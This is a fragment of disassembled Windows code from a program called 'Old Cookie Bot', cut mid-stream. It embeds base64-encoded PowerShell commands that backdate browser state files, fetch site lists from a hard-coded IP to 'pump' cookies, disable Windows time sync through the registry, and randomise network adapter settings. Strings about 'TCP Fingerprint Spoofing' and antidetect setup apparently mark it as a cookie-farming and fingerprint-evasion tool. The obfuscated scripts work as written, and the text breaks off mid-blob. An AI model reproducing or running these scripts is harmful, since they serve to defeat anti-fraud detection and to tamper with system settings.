AcwB0AGEAbABsAGUAZAApACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbQBpAHMAcwBpAG4AZwBCAHIAbwB3AHMAZQByAHMAIAArAD0AIAAiAEUARABHAEUAIgANAAoAIAAgACAAIAB9AA0ACgANAAoAIAAgACAAIABpAGYAIAAoACQAbQBpAHMAcwBpAG4AZwBCAHIAbwB3AHMAZQByAHMALgBDAG8AdQBuAHQAIAAtAGcAdAAgADAAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAG0AaQBzAHMAaQBuAGcAQgByAG8AdwBzAGUAcgBzAEwAaQBzAHQAIAA9ACAAJABtAGkAcwBzAGkAbgBnAEIAcgBvAHcAcwBlAHIAcwAgAC0AagBvAGkAbgAgACIAIABhAG4AZAAgACIADQAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHAAbwBuAHMAZQAgAD0AIABSAGUAYQBkAC0ASABvAHMAdAAgACIAQgByAG8AdwBzAGUAcgAgACQAbQBpAHMAcwBpAG4AZwBCAHIAbwB3AHMAZQByAHMATABpAHMAdAAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQALgAgAEQAbwAgAHkAbwB1ACAAdwBpAHMAaAAgAHQAbwAgAGMAbwBuAHQAaQBuAHUAZQA_ACAAKABZAC8ATgApACIADQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcgBlAHMAcABvAG4AcwBlACAALQBuAGUAIAAnAFkAJwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIARQB4AGkAdABpAG4AZwAgAHMAYwByAGkAcAB0AC4ALgAuACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAVQBwAGQAYQB0AGUALQBMAG8AYwBhAGwAUwB0AGEAdABlACgAJABwAGEAdABoACkAIAB7AA0ACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBuAHQAZQBuAHQAIAA9ACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABwAGEAdABoACAALQBSAGEAdwANAAoAIAAgACAAIAAgACAAIAAgACQAagBzAG8AbgBPAGIAagBlAGMAdAAgAD0AIAAkAGMAbwBuAHQAZQBuAHQAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgANAAoADQAKACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdAAgAD0AIABHAGUAdAAtAEQAYQB0AGUAIAAtAFkAZQBhAHIAIAAyADAAMgAyACAALQBNAG8AbgB0AGgAIAAzACAALQBEAGEAeQAgADEANwAgAC0ASABvAHUAcgAgADAAIAAtAE0Aa
lea rcx, [rbp + 0x330]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x330]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x1d
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
bts r14d, 0x1e
mov dword [rsp + 0x34], r14d
mov r8d, 0xffffffff
lea rdx, [0x1401b9c90]
lea rcx, [rbp + 0x328]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x328]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xc8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x110]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x208]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x130]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x108]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x100]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x18], 0
je 0x14011fceb
mov edx, 0x3b
lea rcx, str.Your_Future_Is_Whatever_You_Make_It._So_Make_It_A_Good_One.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x218], rax
mov edx, 0xe
lea rcx, str.Old_Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x220], rax
mov edx, 9
lea rcx, str.logo4.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x228], rax
mov edx, 0x15
lea rcx, str._1__Text__2___3_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xf8], rax
mov dl, 0x20
lea rcx, [rbp + 0xc2]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xc0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x460]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov dl, 0x20
lea rcx, [rbp + 0xbe]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
xor r9d, r9d
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x320]
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.powershell__New_BurntToastNotification__AppLogo__userprofile_DocumentsWindowsPowerShellmodulesBurntToast_
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 1
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], r12d
lea rcx, [rbp + 0x320]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x460]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x468]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
mov edx, 0x2c
lea rcx, str.Roads__Where_Were_Going__We_Dont_Need_Roads.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x230], rax
mov edx, 0xe
lea rcx, str.Old_Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xe8], rax
mov edx, 9
lea rcx, str.logo4.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe8]
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x480]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Old_Cookie_Bot..._
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 2
mov rdx, rbx
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 6
mov r8d, 0xffffffff
lea rdx, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBTAHQAYQByAHQAIABQAHUAbQBwAGkAbgBnAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAJABzAGkAdABlAHMAIAA9ACAARwBlAHQALQBTAGkAdABlAHMARgByAG8AbQBTAGUAcgB2AGUAcgANAAoAaQBmACAAKAAkAHMAaQB0AGUAcwAgAC0AZQBxACAAJABuAHUAbABsACkAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBOAG8AIABzAGkAdABlAHMAIAByAGUAYwBlAGkAdgBlAGQAIABmAHIAbwBtACAAcwBlAHIAdgBlAHIALgAiAA0ACgAgACAAIAAgAHIAZQB0AHUAcgBuAA0ACgB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAA6ACAAJAAoACQAcwBpAHQAZQBzAC4AQwBvAHUAbgB0ACkAIABzAGkAdABlAHMALgAiAA0ACgB9AA0ACgANAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEIAZQBmAG8AcgBlACAATwBsAGQAIABDAG8AbwBrAGkAZQAgAEIAbwB0ACAAcwB0AGEAcgB0AHMALAAgAG0AYQBrAGUAIABzAHUAcgBlACAAdABoAGEAdAAgAHkAbwB1ACAAaABhAHYAZQAgAEQASQBTAEEAQgBMAEUARAAgAEEAbgB0AGkAZABlAHQAZQBjAHQAIABIAE8AUwBUACAAVABpAG0AZQAgAFMAeQBuAGMAIABpAG4AIAB0AGgAZQAgAGIAbwB0AHQAbwBtACAAcgBpAGcAaAB0ACAAYwBvAHIAbgBlAHIAIABvAGYAIAB0AGgAZQAgAFYATQAgAHcAaQBuAGQAbwB3AC4AIgANAAoAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBQAHIAZQBzAHMAIABhAG4AeQAgAGsAZQB5ACAAdABvACAAYwBvAG4AdABpAG4AdQBlAC4ALgAuACIADQAKAA0ACgAkAFAAYQB0AGgAIAA9ACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFcAMwAyAFQAaQBtAGUAXABQAGEAcgBhAG0AZQB0AGUAcgBzACIADQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAFAAYQB0AGgAIAAtAE4AYQBtAGUAIAAiAFQAeQBwAGUAIgAgAC0AVgBhAGwAdQBlACAAIgBOAG8AUwB5AG4AYwAiACAAPgAgACQAbgB1AGwAbAAgADIAPgAmADEADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAEMAdQByAHIAZQBuAHQAVQBuAGkAeABUAGkAbQBlACAAewANAAoAIAAgACAAIAAkAHUAbgBpAHgARQBwAG8AYwBoACAAPQAgAFsAZABhAHQAZQB0AGkAbQBlAF0AIgAxADkANwAwAC0AMAAxAC0AMAAxACAAMAAwADoAMAAwADoAMAAwAFoAIgANAAoAIAAgACAAIAAkAGMAdQByAHIAZQBuAHQAVABpAG0AZQAgAD0AIABbAGQAYQB0AGUAdABpAG0AZQBdADoAOgBVAHQAYwBOAG8AdwANAAoAIAAgACAAIAAkAHUAbgBpAHgAVABpAG0AZQAgAD0AIABbAG0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAKAAkAGMAdQByAHIAZQBuAHQAVABpAG0AZQAgAC0AIAAkAHUAbgBpAHgARQBwAG8AYwBoACkALgBUAG8AdABhAGwAUwBlAGMAbwBuAGQAcwApAA0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB1AG4AaQB4AFQAaQBtAGUADQAKAH0ADQAKAA0ACgAkAGMAdQByAHIAZQBuAHQAVQBuAGkAeABUAGkAbQBlACAAPQAgAEcAZQB0AC0AQwB1AHIAcgBlAG4AdABVAG4AaQB4AFQAaQBtAGUADQAKACQAcgBhAG4AZABvAG0ATQBvAG4AdABoAHMAVABvAFMAdQBiAHQAcgBhAGMAdAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAANgAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAANAAoAJAByAGEAbgBkAG8AbQBEAGEAeQBzAFQAbwBTAHUAYgB0AHIAYQBjAHQAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AT
lea rcx, [rbp + 0x470]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x470]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0xe
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x1e
mov r8d, 0xffffffff
lea rdx, [0x1401b9c90]
lea rcx, [rbp + 0x478]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x478]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x40]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rsp + 0x40], r12d
lea rcx, [rbp + 0x30]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x480]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xf0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x230]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xb0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x228]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x220]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x218]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 0x1c], 0
je 0x1401200c9
mov edx, 0x30
lea rcx, str.TCP_Fingerprint_M1D1_Spoofing._Stage_1_Finished
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1a8], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1f0], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1b8], rax
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1f0]
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x4a0]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x27
lea rcx, str.TCP_Fingerprint_M1D1_Spoofing._Stage_1
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1c0], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1c8], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1c8]
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x498]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Spoofing_Network_M1D1_Fingerprints..._
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x20
mov rdx, rbx
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x60
mov r8d, 0xffffffff
lea rdx, str._r_npowershell__encodedCommand_ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGEAbgBkAG8AbQBCAG8AbwBsAGUAYQBuACAAewANAAoAIAAgACAAIABpAGYAIAAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADAAIAAtAE0AYQB4AGkAbQB1AG0AIAAyACkAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACIARQBuAGEAYgBsAGUAZAAiAA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAIgBEAGkAcwBhAGIAbABlAGQAIgANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGEAbgBkAG8AbQBWAGEAbAB1AGUAIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAgACgADQAKACAAIAAgACAAIAAgACAAIABbAGEAcgByAGEAeQBdACQAdgBhAGwAdQBlAHMADQAKACAAIAAgACAAKQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAdgBhAGwAdQBlAHMAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUgBhAG4AZABvAG0ASQBuAFIAYQBuAGcAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgAFsAaQBuAHQAXQAkAG0AaQBuACwADQAKACAAIAAgACAAIAAgACAAIABbAGkAbgB0AF0AJABtAGEAeAAsAA0ACgAgACAAIAAgACAAIAAgACAAWwBpAG4AdABdACQAcwB0AGUAcAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgACQAdgBhAGwAdQBlAHMAIAA9ACAAQAAoACkADQAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAkAG0AaQBuADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhAHgAOwAgACQAaQAgACsAPQAgACQAcwB0AGUAcAApACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAdgBhAGwAdQBlAHMAIAArAD0AIAAkAGkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAdgBhAGwAdQBlAHMAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAZQB0AC0AQQBkAGEAcAB0AGUAcgBQAHIAbwBwAGUAcgB0AHkAIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAgACgADQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABhAGQAYQBwAHQAZQByAE4AYQBtAGUALAANAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAHAAcgBvAHAAZQByAHQAeQBOAGEAbQBlACwADQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABwAHIAbwBwAGUAcgB0AHkAVgBhAGwAdQBlAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAJABhAGQAYQBwAHQAZQByACAAPQAgAEcAZQB0AC0ATgBlAHQAQQBkAGEAcAB0AGUAcgAgAC0ATgBhAG0AZQAgACQAYQBkAGEAcAB0AGUAcgBOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAGkAZgAgACgAJABhAGQAYQBwAHQAZQByACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBwAGUAcgB0AHkAIAA9ACAARwBlAHQALQBOAGUAdABBAGQAYQBwAHQAZQByAEEAZAB2AGEAbgBjAGUAZABQAHIAbwBwAGUAcgB0AHkAIAAtAE4AYQBtAGUAIAAkAGEAZABhAHAAdABlAHIATgBhAG0AZQAgAC0ARA